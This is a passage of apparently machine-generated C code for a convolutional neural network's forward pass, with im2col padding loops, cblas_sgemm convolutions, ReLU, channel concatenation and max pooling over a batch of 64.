x1172 = (float*)myMalloc(x1171 * sizeof(float));;\nint32_t x1173 = 0;\nfor(int x1174=0; x1174 < 64; x1174++) {\nfor(int x1175=0; x1175 < 128; x1175++) {\nfor(int x1177=0; x1177 < x1167; x1177++) {\nint32_t x1178 = x1173;\nfloat x1179 = x83[x1175];\nx1172[x1178] = x1179;\nx1173 += 1;\n\n}\n\n}\n\n}\nfloat* x1191 = (float*)myMalloc(x1190 * sizeof(float));;\nfor(int x1192=0; x1192 < 64; x1192++) {\nint32_t x1193 = x1192 * x1005;\nfloat* x1194 = x1070+x1193;\nint32_t x1195 = x1192 * x1168;\nfloat* x1196 = x1172+x1195;\nint32_t x1197 = x1192 * x1188;\nfloat* x1198 = x1191+x1197;\nfor(int x1200=0; x1200 < 288; x1200++) {\nint32_t x1201 = x1200 / 9;\nint32_t x1205 = x1201 * 3;\nint32_t x1206 = x1205 * 3;\nint32_t x1207 = x1206 * x1166;\nint32_t x1208 = x1207 * x1166;\nint32_t x1202 = x1200 % 9;\nint32_t x1203 = x1202 / 3;\nint32_t x1209 = x1203 * 3;\nint32_t x1210 = x1209 * x1166;\nint32_t x1211 = x1210 * x1166;\nint32_t x1212 = x1208 + x1211;\nint32_t x1204 = x1202 % 3;\nint32_t x1213 = x1204 * x1166;\nint32_t x1214 = x1213 * x1166;\nint32_t x1215 = x1212 + x1214;\nfloat* x1216 = x1198+x1215;\nint32_t x1217 = x1201 * x1003;\nint32_t x1218 = x1217 * x1003;\nfloat* x1219 = x1194+x1218;\nint32_t x1232 = 1 - x1204;\nbool x1233 = x1232 > 0;\nint32_t x1234;\nif (x1233) {\nx1234 = x1232;\n} else {\nx1234 = 0;\n}\nint32_t x1235 = 3 - x1204;\nint32_t x1236 = x1235 - 1;\nint32_t x1237 = 1 - x1236;\nbool x1238 = x1237 > 0;\nint32_t x1239;\nif (x1238) {\nx1239 = x1237;\n} else {\nx1239 = 0;\n}\nint32_t x1240 = x1166 - x1239;\nint32_t x1241 = x1240 - x1234;\nbool x1242 = x1241 <= 0;\nbool x1246 = x1234 > 0;\nint32_t x1231 = -1 + x1204;\nbool x1259 = x1239 > 0;\nfor(int x1221=0; x1221 < x1166; x1221++) {\nint32_t x1222 = x1221 - 1;\nint32_t x1223 = x1222 + x1203;\nbool x1224 = x1223 < 0;\nbool x1225 = x1223 >= x1003;\nbool x1226 = x1224 || x1225;\nif (x1226) {\nint32_t x1227 = x1221 * x1166;\nfloat* x1228 = x1216+x1227;\nmemset(x1228, 0, 4 * x1166);;\n} else {\nif (x1242) {\nint32_t x1227 = x1221 * x1166;\nfloat* x1243 = x1216+x1227;\nmemset(x1243, 0, 4 * x1166);;\n} else {\nint32_t x1227 = x1221 * x1166;\nif (x1246) {\nfloat* x1247 = x1216+x1227;\nmemset(x1247, 0, 4 * x1234);;\n} else {\n}\n// may have segfault here\nint32_t x1252 = x1227 + x1234;\nfloat* x1253 = x1216+x1252;\nint32_t x1254 = x1223 * x1003;\nint32_t x1255 = x1254 + x1231;\nint32_t x1256 = x1255 + x1234;\nfloat* x1257 = x1219+x1256;\nmemcpy(x1253, x1257, 4 * x1241);;\nif (x1259) {\nint32_t x1260 = x1227 + x1166;\nint32_t x1261 = x1260 - x1239;\nfloat* x1262 = x1216+x1261;\nmemset(x1262, 0, 4 * x1239);;\n} else {\n}\n}\n}\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 128,x1167,288,1,x48,288,x1198,x1167,1,x1196,x1167);\n\n}\nfloat* x1277 = (float*)myMalloc(x1169 * sizeof(float));;\nfor(int x1279=0; x1279 < x1169; x1279++) {\nfloat x1280 = x1172[x1279];\nbool x1281 = x1280 < 0.0f;\nif (x1281) {\nx1277[x1279] = 0.0f;\n} else {\nfloat x1284 = x1172[x1279];\nx1277[x1279] = x1284;\n}\n\n}\nif (x1293) {\n} else {\nprintf(\"all dimensions except the concatenation dimension should be the same\\n\");\nassert(false && \"\");\n}\n// back prop for concat\nfloat* x1304 = (float*)myMalloc(x1303 * sizeof(float));;\nint32_t x1305 = 0;\nfor(int x1306=0; x1306 < 64; x1306++) {\nint32_t x1307 = x1306 * x1086;\nfloat* x1308 = x1150+x1307;\nfor(int x1310=0; x1310 < x1086; x1310++) {\nint32_t x1311 = x1305;\nfloat x1312 = x1308[x1310];\nx1304[x1311] = x1312;\nx1305 += 1;\n\n}\nint32_t x1317 = x1306 * x1168;\nfloat* x1318 = x1277+x1317;\nfor(int x1320=0; x1320 < x1168; x1320++) {\nint32_t x1321 = x1305;\nfloat x1322 = x1318[x1320];\nx1304[x1321] = x1322;\nx1305 += 1;\n\n}\n\n}\nif (x1330) {\n} else {\nassert(false && \"Image too small for maxPool_k: x Const(64) x Const(256) x Sym(1084) x Sym(1084)|(2,2)\");\n}\nfloat* x1343 = (float*)myMalloc(x1342 * sizeof(float));;\nfor(int x1345=0; x1345 < x1342; x1345++) {\nx1343[x1345] = -3.4028235E38f;\n\n}\nint* x1349 = (int32_t*)myMalloc(x1340 * sizeof(int32_t));;\nfor(int x1350=0; x1350 < 64; x1350++) {\nint32_t x1351 = x1350 * x1300;\nfloat* x1352 = x1304+x1351;\nint32_t x1353 = x1350 * x1339;\nfloat* x1354 = x1343+x1353;\nint* x1355 = x1349+x1353;\nint32_t x1356 = 0;\nint32_t x1357 = 0;\nfor(int x1359=0; x1359 < 256; x1359++) {\nint32_t x1360 = x1356;\nint32_t x1361 = x1360;\nint32_t x1362 = x1357;\nint32_t x1363 = x1362;\nfor(int x1365=0; x1365 < x1337; x1365++) {\nint32_t x1366 = x1361;\nint32_t x1367 = x1366;\nint32_t x1368 = x1363;\nint32_t x1369 = x1368;\nfor(int x1370=0; x1370 < x1337; x1370++) {\nint32_t x1371 = x1369;\nint32_t x1372 = x1371;\nint32_t x1373 = x1372;\nint32_t x1374 = x1373;\nint32_t x1375 = x1374;\nfloat x1376 = x1352[x1375];\nint32_t x1377 = x1367;\nfloat x1378 = x1354[x1377];\nbool x1379 = x1376 > x1378;\nif (x1379) {\nfloat x1380 = x1352[x1375];\nx1354[x1377] = x1380;\nint32_t x1382 = x1375 + x1351;\nx1355[x1377] = x1382;\n} else {\n}\nx1374 += 1;\nint32_t x1387 = x1374;\nfloat x1388 = x1352[x1387];\nfloat x1389 = x1354[x1377];\nbool x1390 = x1388 > x1389;\nif (x1390) {\nfloat x1391 = x1352[x1387];\nx1354[x1377] = x1391;\nint32_t x1393 = x1387 + x1351;\nx1355[x1377] = x1393;\n} else {\n}\nx1374 += 1;\nx1372 += x1084;\nint32_t x1399 = x1372;\nint32_t x1400 = x1399;\nint32_t x1401 = x1400;\nfloat x1402 = x1352[x1401];\nfloat x1403 = x1354[x1377];\nbool x1404 = x1402 > x1403;\nif (x1404) {\nfloat x1405 = x1352[x1401];\nx1354[x1377] = x1405;\nint32_t x1407 = x1401 + x1351;\nx1355[x1377] = x1407;\n} else {\n}\nx1400 += 1;\nint32_t x1412 = x1400;\nfloat x1413 = x1352[x1412];\nfloat x1414 = x1354[x1377];\nbool x1415 = x1413 > x1414;\nif (x1415) {\nfloat x1416 = x1352[x1412];\nx1354[x1377] = x1416;\nint32_t x1418 = x1412 + x1351;\nx1355[x1377] = x1418;\n} else {\n}\nx1400 += 1;\nx1372 += x1084;\nx1367 += 1;\nx1369 += 2;\n\n}\nx1361 += x1337;\nx1363 += x1429;\n\n}\nx1356 += x1338;\nx1357 += x1085;\n\n}\n\n}\nfloat* x1446 = (float*)myMalloc(x1445 * sizeof(float));;\nint32_t x1447 = 0;\nfor(int x1448=0; x1448 < 64; x1448++) {\nfor(int x1449=0; x1449 < 32; x1449++) {\nfor(int x1451=0; x1451 < x1441; x1451++) {\nint32_t x1452 = x1447;\nfloat x1453 = x57[x1449];\nx1446[x1452] = x1453;\nx1447 += 1;\n\n}\n\n}\n\n}\nfloat* x1465 = (float*)myMalloc(x1464 * sizeof(float));;\nfor(int x1466=0; x1466 < 64; x1466++) {\nint32_t x1467 = x1466 * x1339;\nfloat* x1468 = x1343+x1467;\nint32_t x1469 = x1466 * x1442;\nfloat* x1470 = x1446+x1469;\nint32_t x1471 = x1466 * x1462;\nfloat* x1472 = x1465+x1471;\nfor(int x1473=0; x1473 < 256; x1473++) {\nint32_t x1474 = x1473 / 1;\nint32_t x1478 = x1474 * x1440;\nint32_t x1479 = x1478 * x1440;\nint32_t x1475 = x1473 % 1;\nint32_t x1476 = x1475 / 1;\nint32_t x1480 = x1476 * x1440;\nint32_t x1481 = x1480 * x1440;\nint32_t x1482 = x1479 + x1481;\nint32_t x1477 = x1475 % 1;\nint32_t x1483 = x1477 * x1440;\nint32_t x1484 = x1483 * x1440;\nint32_t x1485 = x1482 + x1484;\nfloat* x1486 = x1472+x1485;\nint32_t x1487 = x1474 * x1337;\nint32_t x1488 = x1487 * x1337;\nfloat* x1489 = x1468+x1488;\nfor(int x1491=0; x1491 < x1440; x1491++) {\nint32_t x1493 = x1491 * x1440;\nfloat* x1494 = x1486+x1493;\nint32_t x1492 = x1491 + x1476;\nint32_t x1495 = x1492 * x1337;\nint32_t x1496 = x1495 + x1477;\nfloat* x1497 = x1489+x1496;\nmemcpy(x1494, x1497, 4 * x1440);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 32,x1441,256,1,x69,256,x1472,x1441,1,x1470,x1441);\n\n}\nfloat* x1506 = (float*)myMalloc(x1443 * sizeof(float));;\nfor(int x1508=0; x1508 < x1443; x1508++) {\nfloat x1509 = x1446[x1508];\nbool x1510 = x1509 < 0.0f;\nif (x1510) {\nx1506[x1508] = 0.0f;\n} else {\nfloat x1513 = x1446[x1508];\nx1506[x1508] = x1513;\n}\n\n}\nfloat* x1526 = (float*)myMalloc(x1525 * sizeof(float));;\nint32_t x1527 = 0;\nfor(int x1528=0; x1528 < 64; x1528++) {\nfor(int x1529=0; x1529 < 128; x1529++) {\nfor(int x1531=0; x1531 < x1521; x1531++) {\nint32_t x1532 = x1527;\nfloat x1533 = x63[x1529];\nx1526[x1532] = x1533;\nx1527 += 1;\n\n}\n\n}\n\n}\nfloat* x1545 = (float*)myMalloc(x1544 * sizeof(float));;\nfor(int x1546=0; x1546 < 64; x1546++) {\nint32_t x1547 = x1546 * x1442;\nfloat* x1548 = x1506+x1547;\nint32_t x1549 = x1546 * x1522;\nfloat* x1550 = x1526+x1549;\nint32_t x1551 = x1546 * x1542;\nfloat* x1552 = x1545+x1551;\nfor(int x1553=0; x1553 < 32; x1553++) {\nint32_t x1554 = x1553 / 1;\nint32_t x1558 = x1554 * x1520;\nint32_t x1559 = x1558 * x1520;\nint32_t x1555 = x1553 % 1;\nint32_t x1556 = x1555 / 1;\nint32_t x1560 = x1556 * x1520;\nint32_t x1561 = x1560 * x1520;\nint32_t x1562 = x1559 + x1561;\nint32_t x1557 = x1555 % 1;\nint32_t x1563 = x1557 * x1520;\nint32_t x1564 = x1563 * x1520;\nint32_t x1565 = x1562 + x1564;\nfloat* x1566 = x1552+x1565;\nint32_t x1567 = x1554 * x1440;\nint32_t x1568 = x1567 * x1440;\nfloat* x1569 = x1548+x1568;\nfor(int x1571=0; x1571 < x1520; x1571++) {\nint32_t x1573 = x1571 * x1520;\nfloat* x1574 = x1566+x1573;\nint32_t x1572 = x1571 + x1556;\nint32_t x1575 = x1572 * x1440;\nint32_t x1576 = x1575 + x1557;\nfloat* x1577 = x1569+x1576;\nmemcpy(x1574, x1577, 4 * x1520);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 128,x1521,32,1,x49,32,x1552,x1521,1,x1550,x1521);\n\n}\nfloat* x1586 = (float*)myMalloc(x1523 * sizeof(float));;\nfor(int x1588=0; x1588 < x1523; x1588++) {\nfloat x1589 = x1526[x1588];\nbool x1590 = x1589 < 0.0f;\nif (x1590) {\nx1586[x1588] = 0.0f;\n} else {\nfloat x1593 = x1526[x1588];\nx1586[x1588] = x1593;\n}\n\n}\nfloat* x1608 = (float*)myMalloc(x1607 * sizeof(float));;\nint32_t x1609 = 0;\nfor(int x1610=0; x1610 < 64; x1610++) {\nfor(int x1611=0; x1611 < 128; x1611++) {\nfor(int x1613=0; x1613 < x1603; x1613++) {\nint32_t x1614 = x1609;\nfloat x1615 = x58[x1611];\nx1608[x1614] = x1615;\nx1609 += 1;\n\n}\n\n}\n\n}\nfloat* x1627 = (float*)myMalloc(x1626 * sizeof(float));;\nfor(int x1628=0; x1628 < 64; x1628++) {\nint32_t x1629 = x1628 * x1442;\nfloat* x1630 = x1506+x1629;\nint32_t x1631 = x1628 * x1604;\nfloat* x1632 = x1608+x1631;\nint32_t x1633 = x1628 * x1624;\nfloat* x1634 = x1627+x1633;\nfor(int x1635=0; x1635 < 288; x1635++) {\nint32_t x1636 = x1635 / 9;\nint32_t x1640 = x1636 * 3;\nint32_t x1641 = x1640 * 3;\nint32_t x1642 = x1641 * x1602;\nint32_t x1643 = x1642 * x1602;\nint32_t x1637 = x1635 % 9;\nint32_t x1638 = x1637 / 3;\nint32_t x1644 = x1638 * 3;\nint32_t x1645 = x1644 * x1602;\nint32_t x1646 = x1645 * x1602;\nint32_t x1647 = x1643 + x1646;\nint32_t x1639 = x1637 % 3;\nint32_t x1648 = x1639 * x1602;\nint32_t x1649 = x1648 * x1602;\nint32_t x1650 = x1647 + x1649;\nfloat* x1651 = x1634+x1650;\nint32_t x1652 = x1636 * x1440;\nint32_t x1653 = x1652 * x1440;\nfloat* x1654 = x1630+x1653;\nint32_t x1667 = 1 - x1639;\nbool x1668 = x1667 > 0;\nint32_t x1669;\nif (x1668) {\nx1669 = x1667;\n} else {\nx1669 = 0;\n}\nint32_t x1670 = 3 - x1639;\nint32_t x1671 = x1670 - 1;\nint32_t x1672 = 1 - x1671;\nbool x1673 = x1672 > 0;\nint32_t x1674;\nif (x1673) {\nx1674 = x1672;\n} else {\nx1674 = 0;\n}\nint32_t x1675 = x1602 - x1674;\nint32_t x1676 = x1675 - x1669;\nbool x1677 = x1676 <= 0;\nbool x1681 = x1669 > 0;\nint32_t x1666 = -1 + x1639;\nbool x1694 = x1674 > 0;\nfor(int x1656=0; x1656 < x1602; x1656++) {\nint32_t x1657 = x1656 - 1;\nint32_t x1658 = x1657 + x1638;\nbool x1659 = x1658 < 0;\nbool x1660 = x1658 >= x1440;\nbool x1661 = x1659 || x1660;\nif (x1661) {\nint32_t x1662 = x1656 * x1602;\nfloat* x1663 = x1651+x1662;\nmemset(x1663, 0, 4 * x1602);;\n} else {\nif (x1677) {\nint32_t x1662 = x1656 * x1602;\nfloat* x1678 = x1651+x1662;\nmemset(x1678, 0, 4 * x1602);;\n} else {\nint32_t x1662 = x1656 * x1602;\nif (x1681) {\nfloat* x1682 = x1651+x1662;\nmemset(x1682, 0, 4 * x1669);;\n} else {\n}\n// may have segfault here\nint32_t x1687 = x1662 + x1669;\nfloat* x1688 = x1651+x1687;\nint32_t x1689 = x1658 * x1440;\nint32_t x1690 = x1689 + x1666;\nint32_t x1691 = x1690 + x1669;\nfloat* x1692 = x1654+x1691;\nmemcpy(x1688, x1692, 4 * x1676);;\nif (x1694) {\nint32_t x1695 = x1662 + x1602;\nint32_t x1696 = x1695 - x1674;\nfloat* x1697 = x1651+x1696;\nmemset(x1697, 0, 4 * x1674);;\n} else {\n}\n}\n}\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 128,x1603,288,1,x78,288,x1634,x1603,1,x1632,x1603);\n\n}\nfloat* x1712 = (float*)myMalloc(x1605 * sizeof(float));;\nfor(int x1714=0; x1714 < x1605; x1714++) {\nfloat x1715 = x1608[x1714];\nbool x1716 = x1715 < 0.0f;\nif (x1716) {\nx1712[x1714] = 0.0f;\n} else {\nfloat x1719 = x1608[x1714];\nx1712[x1714] = x1719;\n}\n\n}\nif (x1728) {\n} else {\nprintf(\"all dimensions except the concatenation dimension should be the same\\n\");\nassert(false && \"\");\n}\n// back prop for concat\nfloat* x1739 = (float*)myMalloc(x1738 * sizeof(float));;\nint32_t x1740 = 0;\nfor(int x1741=0; x1741 < 64; x1741++) {\nint32_t x1742 = x1741 * x1522;\nfloat* x1743 = x1586+x1742;\nfor(int x1745=0; x1745 < x1522; x1745++) {\nint32_t x1746 = x1740;\nfloat x1747 = x1743[x1745];\nx1739[x1746] = x1747;\nx1740 += 1;\n\n}\nint32_t x1752 = x1741 * x1604;\nfloat* x1753 = x1712+x1752;\nfor(int x1755=0; x1755 < x1604; x1755++) {\nint32_t x1756 = x1740;\nfloat x1757 = x1753[x1755];\nx1739[x1756] = x1757;\nx1740 += 1;\n\n}\n\n}\nfloat* x1771 = (float*)myMalloc(x1770 * sizeof(float));;\nint32_t x1772 = 0;\nfor(int x1773=0; x1773 < 64; x1773++) {\nfor(int x1775=0; x1775 < 48; x1775++) {\nfor(int x1777=0; x1777 < x1766; x1777++) {\nint32_t x1778 = x1772;\nfloat x1779 = x94[x1775];\nx1771[x1778] = x1779;\nx1772 += 1;\n\n}\n\n}\n\n}\nfloat* x1791 = (float*)myMalloc(x1790 * sizeof(float));;\nfor(int x1792=0; x1792 < 64; x1792++) {\nint32_t x1793 = x1792 * x1735;\nfloat* x1794 = x1739+x1793;\nint32_t x1795 = x1792 * x1767;\nfloat* x1796 = x1771+x1795;\nint32_t x1797 = x1792 * x1788;\nfloat* x1798 = x1791+x1797;\nfor(int x1799=0; x1799 < 256; x1799++) {\nint32_t x1800 = x1799 / 1;\nint32_t x1804 = x1800 * x1765;\nint32_t x1805 = x1804 * x1765;\nint32_t x1801 = x1799 % 1;\nint32_t x1802 = x1801 / 1;\nint32_t x1806 = x1802 * x1765;\nint32_t x1807 = x1806 * x1765;\nint32_t x1808 = x1805 + x1807;\nint32_t x1803 = x1801 % 1;\nint32_t x1809 = x1803 * x1765;\nint32_t x1810 = x1809 * x1765;\nint32_t x1811 = x1808 + x1810;\nfloat* x1812 = x1798+x1811;\nint32_t x1813 = x1800 * x1520;\nint32_t x1814 = x1813 * x1520;\nfloat* x1815 = x1794+x1814;\nfor(int x1817=0; x1817 < x1765; x1817++) {\nint32_t x1819 = x1817 * x1765;\nfloat* x1820 = x1812+x1819;\nint32_t x1818 = x1817 + x1802;\nint32_t x1821 = x1818 * x1520;\nint32_t x1822 = x1821 + x1803;\nfloat* x1823 = x1815+x1822;\nmemcpy(x1820, x1823, 4 * x1765);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 48,x1766,256,1,x84,256,x1798,x1766,1,x1796,x1766);\n\n}\nfloat* x1832 = (float*)myMalloc(x1768 * sizeof(float));;\nfor(int x1834=0; x1834 < x1768; x1834++) {\nfloat x1835 = x1771[x1834];\nbool x1836 = x1835 < 0.0f;\nif (x1836) {\nx1832[x1834] = 0.0f;\n} else {\nfloat x1839 = x1771[x1834];\nx1832[x1834] = x1839;\n}\n\n}\nfloat* x1852 = (float*)myMalloc(x1851 * sizeof(float));;\nint32_t x1853 = 0;\nfor(int x1854=0; x1854 < 64; x1854++) {\nfor(int x1856=0; x1856 < 192; x1856++) {\nfor(int x1858=0; x1858 < x1847; x1858++) {\nint32_t x1859 = x1853;\nfloat x1860 = x88[x1856];\nx1852[x1859] = x1860;\nx1853 += 1;\n\n}\n\n}\n\n}\nfloat* x1872 = (float*)myMalloc(x1871 * sizeof(float));;\nfor(int x1873=0; x1873 < 64; x1873++) {\nint32_t x1874 = x1873 * x1767;\nfloat* x1875 = x1832+x1874;\nint32_t x1876 = x1873 * x1848;\nfloat* x1877 = x1852+x1876;\nint32_t x1878 = x1873 * x1869;\nfloat* x1879 = x1872+x1878;\nfor(int x1880=0; x1880 < 48; x1880++) {\nint32_t x1881 = x1880 / 1;\nint32_t x1885 = x1881 * x1846;\nint32_t x1886 = x1885 * x1846;\nint32_t x1882 = x1880 % 1;\nint32_t x1883 = x1882 / 1;\nint32_t x1887 = x1883 * x1846;\nint32_t x1888 = x1887 * x1846;\nint32_t x1889 = x1886 + x1888;\nint32_t x1884 = x1882 % 1;\nint32_t x1890 = x1884 * x1846;\nint32_t x1891 = x1890 * x1846;\nint32_t x1892 = x1889 + x1891;\nfloat* x1893 = x1879+x1892;\nint32_t x1894 = x1881 * x1765;\nint32_t x1895 = x1894 * x1765;\nfloat* x1896 = x1875+x1895;\nfor(int x1898=0; x1898 < x1846; x1898++) {\nint32_t x1900 = x1898 * x1846;\nfloat* x1901 = x1893+x1900;\nint32_t x1899 = x1898 + x1883;\nint32_t x1902 = x1899 * x1765;\nint32_t x1903 = x1902 + x1884;\nfloat* x1904 = x1896+x1903;\nmemcpy(x1901, x1904, 4 * x1846);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 192,x1847,48,1,x90,48,x1879,x1847,1,x1877,x1847);\n\n}\nfloat* x1913 = (float*)myMalloc(x1849 * sizeof(float));;\nfor(int x1915=0; x1915 < x1849; x1915++) {\nfloat x1916 = x1852[x1915];\nbool x1917 = x1916 < 0.0f;\nif (x1917) {\nx1913[x1915] = 0.0f;\n} else {\nfloat x1920 = x1852[x1915];\nx1913[x1915] = x1920;\n}\n\n}\nfloat* x1935 = (float*)myMalloc(x1934 * sizeof(float));;\nint32_t x1936 = 0;\nfor(int x1937=0; x1937 < 64; x1937++) {\nfor(int x1938=0; x1938 < 192; x1938++) {\nfor(int x1940=0; x1940 < x1930; x1940++) {\nint32_t x1941 = x1936;\nfloat x1942 = x71[x1938];\nx1935[x1941] = x1942;\nx1936 += 1;\n\n}\n\n}\n\n}\nfloat* x1954 = (float*)myMalloc(x1953 * sizeof(float));;\nfor(int x1955=0; x1955 < 64; x1955++) {\nint32_t x1956 = x1955 * x1767;\nfloat* x1957 = x1832+x1956;\nint32_t x1958 = x1955 * x1931;\nfloat* x1959 = x1935+x1958;\nint32_t x1960 = x1955 * x1951;\nfloat* x1961 = x1954+x1960;\nfor(int x1963=0; x1963 < 432; x1963++) {\nint32_t x1964 = x1963 / 9;\nint32_t x1968 = x1964 * 3;\nint32_t x1969 = x1968 * 3;\nint32_t x1970 = x1969 * x1929;\nint32_t x1971 = x1970 * x1929;\nint32_t x1965 = x1963 % 9;\nint32_t x1966 = x1965 / 3;\nint32_t x1972 = x1966 * 3;\nint32_t x1973 = x1972 * x1929;\nint32_t x1974 = x1973 * x1929;\nint32_t x1975 = x1971 + x1974;\nint32_t x1967 = x1965 % 3;\nint32_t x1976 = x1967 * x1929;\nint32_t x1977 = x1976 * x1929;\nint32_t x1978 = x1975 + x1977;\nfloat* x1979 = x1961+x1978;\nint32_t x1980 = x1964 * x1765;\nint32_t x1981 = x1980 * x1765;\nfloat* x1982 = x1957+x1981;\nint32_t x1995 = 1 - x1967;\nbool x1996 = x1995 > 0;\nint32_t x1997;\nif (x1996) {\nx1997 = x1995;\n} else {\nx1997 = 0;\n}\nint32_t x1998 = 3 - x1967;\nint32_t x1999 = x1998 - 1;\nint32_t x2000 = 1 - x1999;\nbool x2001 = x2000 > 0;\nint32_t x2002;\nif (x2001) {\nx2002 = x2000;\n} else {\nx2002 = 0;\n}\nint32_t x2003 = x1929 - x2002;\nint32_t x2004 = x2003 - x1997;\nbool x2005 = x2004 <= 0;\nbool x2009 = x1997 > 0;\nint32_t x1994 = -1 + x1967;\nbool x2022 = x2002 > 0;\nfor(int x1984=0; x1984 < x1929; x1984++) {\nint32_t x1985 = x1984 - 1;\nint32_t x1986 = x1985 + x1966;\nbool x1987 = x1986 < 0;\nbool x1988 = x1986 >= x1765;\nbool x1989 = x1987 || x1988;\nif (x1989) {\nint32_t x1990 = x1984 * x1929;\nfloat* x1991 = x1979+x1990;\nmemset(x1991, 0, 4 * x1929);;\n} else {\nif (x2005) {\nint32_t x1990 = x1984 * x1929;\nfloat* x2006 = x1979+x1990;\nmemset(x2006, 0, 4 * x1929);;\n} else {\nint32_t x1990 = x1984 * x1929;\nif (x2009) {\nfloat* x2010 = x1979+x1990;\nmemset(x2010, 0, 4 * x1997);;\n} else {\n}\n// may have segfault here\nint32_t x2015 = x1990 + x1997;\nfloat* x2016 = x1979+x2015;\nint32_t x2017 = x1986 * x1765;\nint32_t x2018 = x2017 + x1994;\nint32_t x2019 = x2018 + x1997;\nfloat* x2020 = x1982+x2019;\nmemcpy(x2016, x2020, 4 * x2004);;\nif (x2022) {\nint32_t x2023 = x1990 + x1929;\nint32_t x2024 = x2023 - x2002;\nfloat* x2025 = x1979+x2024;\nmemset(x2025, 0, 4 * x2002);;\n} else {\n}\n}\n}\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 192,x1930,432,1,x81,432,x1961,x1930,1,x1959,x1930);\n\n}\nfloat* x2040 = (float*)myMalloc(x1932 * sizeof(float));;\nfor(int x2042=0; x2042 < x1932; x2042++) {\nfloat x2043 = x1935[x2042];\nbool x2044 = x2043 < 0.0f;\nif (x2044) {\nx2040[x2042] = 0.0f;\n} else {\nfloat x2047 = x1935[x2042];\nx2040[x2042] = x2047;\n}\n\n}\nif (x2056) {\n} else {\nprintf(\"all dimensions except the concatenation dimension should be the same\\n\");\nassert(false && \"\");\n}\n// back prop for concat\nfloat* x2067 = (float*)myMalloc(x2066 * sizeof(float));;\nint32_t x2068 = 0;\nfor(int x2069=0; x2069 < 64; x2069++) {\nint32_t x2070 = x2069 * x1848;\nfloat* x2071 = x1913+x2070;\nfor(int x2073=0; x2073 < x1848; x2073++) {\nint32_t x2074 = x2068;\nfloat x2075 = x2071[x2073];\nx2067[x2074] = x2075;\nx2068 += 1;\n\n}\nint32_t x2080 = x2069 * x1931;\nfloat* x2081 = x2040+x2080;\nfor(int x2083=0; x2083 < x1931; x2083++) {\nint32_t x2084 = x2068;\nfloat x2085 = x2081[x2083];\nx2067[x2084] = x2085;\nx2068 += 1;\n\n}\n\n}\nfloat* x2099 = (float*)myMalloc(x2098 * sizeof(float));;\nint32_t x2100 = 0;\nfor(int x2101=0; x2101 < 64; x2101++) {\nfor(int x2102=0; x2102 < 48; x2102++) {\nfor(int x2104=0; x2104 < x2094; x2104++) {\nint32_t x2105 = x2100;\nfloat x2106 = x44[x2102];\nx2099[x2105] = x2106;\nx2100 += 1;\n\n}\n\n}\n\n}\nfloat* x2118 = (float*)myMalloc(x2117 * sizeof(float));;\nfor(int x2119=0; x2119 < 64; x2119++) {\nint32_t x2120 = x2119 * x2063;\nfloat* x2121 = x2067+x2120;\nint32_t x2122 = x2119 * x2095;\nfloat* x2123 = x2099+x2122;\nint32_t x2124 = x2119 * x2115;\nfloat* x2125 = x2118+x2124;\nfor(int x2127=0; x2127 < 384; x2127++) {\nint32_t x2128 = x2127 / 1;\nint32_t x2132 = x2128 * x2093;\nint32_t x2133 = x2132 * x2093;\nint32_t x2129 = x2127 % 1;\nint32_t x2130 = x2129 / 1;\nint32_t x2134 = x2130 * x2093;\nint32_t x2135 = x2134 * x2093;\nint32_t x2136 = x2133 + x2135;\nint32_t x2131 = x2129 % 1;\nint32_t x2137 = x2131 * x2093;\nint32_t x2138 = x2137 * x2093;\nint32_t x2139 = x2136 + x2138;\nfloat* x2140 = x2125+x2139;\nint32_t x2141 = x2128 * x1846;\nint32_t x2142 = x2141 * x1846;\nfloat* x2143 = x2121+x2142;\nfor(int x2145=0; x2145 < x2093; x2145++) {\nint32_t x2147 = x2145 * x2093;\nfloat* x2148 = x2140+x2147;\nint32_t x2146 = x2145 + x2130;\nint32_t x2149 = x2146 * x1846;\nint32_t x2150 = x2149 + x2131;\nfloat* x2151 = x2143+x2150;\nmemcpy(x2148, x2151, 4 * x2093);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 48,x2094,384,1,x56,384,x2125,x2094,1,x2123,x2094);\n\n}\nfloat* x2160 = (float*)myMalloc(x2096 * sizeof(float));;\nfor(int x2162=0; x2162 < x2096; x2162++) {\nfloat x2163 = x2099[x2162];\nbool x2164 = x2163 < 0.0f;\nif (x2164) {\nx2160[x2162] = 0.0f;\n} else {\nfloat x2167 = x2099[x2162];\nx2160[x2162] = x2167;\n}\n\n}\nfloat* x2180 = (float*)myMalloc(x2179 * sizeof(float));;\nint32_t x2181 = 0;\nfor(int x2182=0; x2182 < 64; x2182++) {\nfor(int x2183=0; x2183 < 192; x2183++) {\nfor(int x2185=0; x2185 < x2175; x2185++) {\nint32_t x2186 = x2181;\nfloat x2187 = x74[x2183];\nx2180[x2186] = x2187;\nx2181 += 1;\n\n}\n\n}\n\n}\nfloat* x2199 = (float*)myMalloc(x2198 * sizeof(float));;\nfor(int x2200=0; x2200 < 64; x2200++) {\nint32_t x2201 = x2200 * x2095;\nfloat* x2202 = x2160+x2201;\nint32_t x2203 = x2200 * x2176;\nfloat* x2204 = x2180+x2203;\nint32_t x2205 = x2200 * x2196;\nfloat* x2206 = x2199+x2205;\nfor(int x2207=0; x2207 < 48; x2207++) {\nint32_t x2208 = x2207 / 1;\nint32_t x2212 = x2208 * x2174;\nint32_t x2213 = x2212 * x2174;\nint32_t x2209 = x2207 % 1;\nint32_t x2210 = x2209 / 1;\nint32_t x2214 = x2210 * x2174;\nint32_t x2215 = x2214 * x2174;\nint32_t x2216 = x2213 + x2215;\nint32_t x2211 = x2209 % 1;\nint32_t x2217 = x2211 * x2174;\nint32_t x2218 = x2217 * x2174;\nint32_t x2219 = x2216 + x2218;\nfloat* x2220 = x2206+x2219;\nint32_t x2221 = x2208 * x2093;\nint32_t x2222 = x2221 * x2093;\nfloat* x2223 = x2202+x2222;\nfor(int x2225=0; x2225 < x2174; x2225++) {\nint32_t x2227 = x2225 * x2174;\nfloat* x2228 = x2220+x2227;\nint32_t x2226 = x2225 + 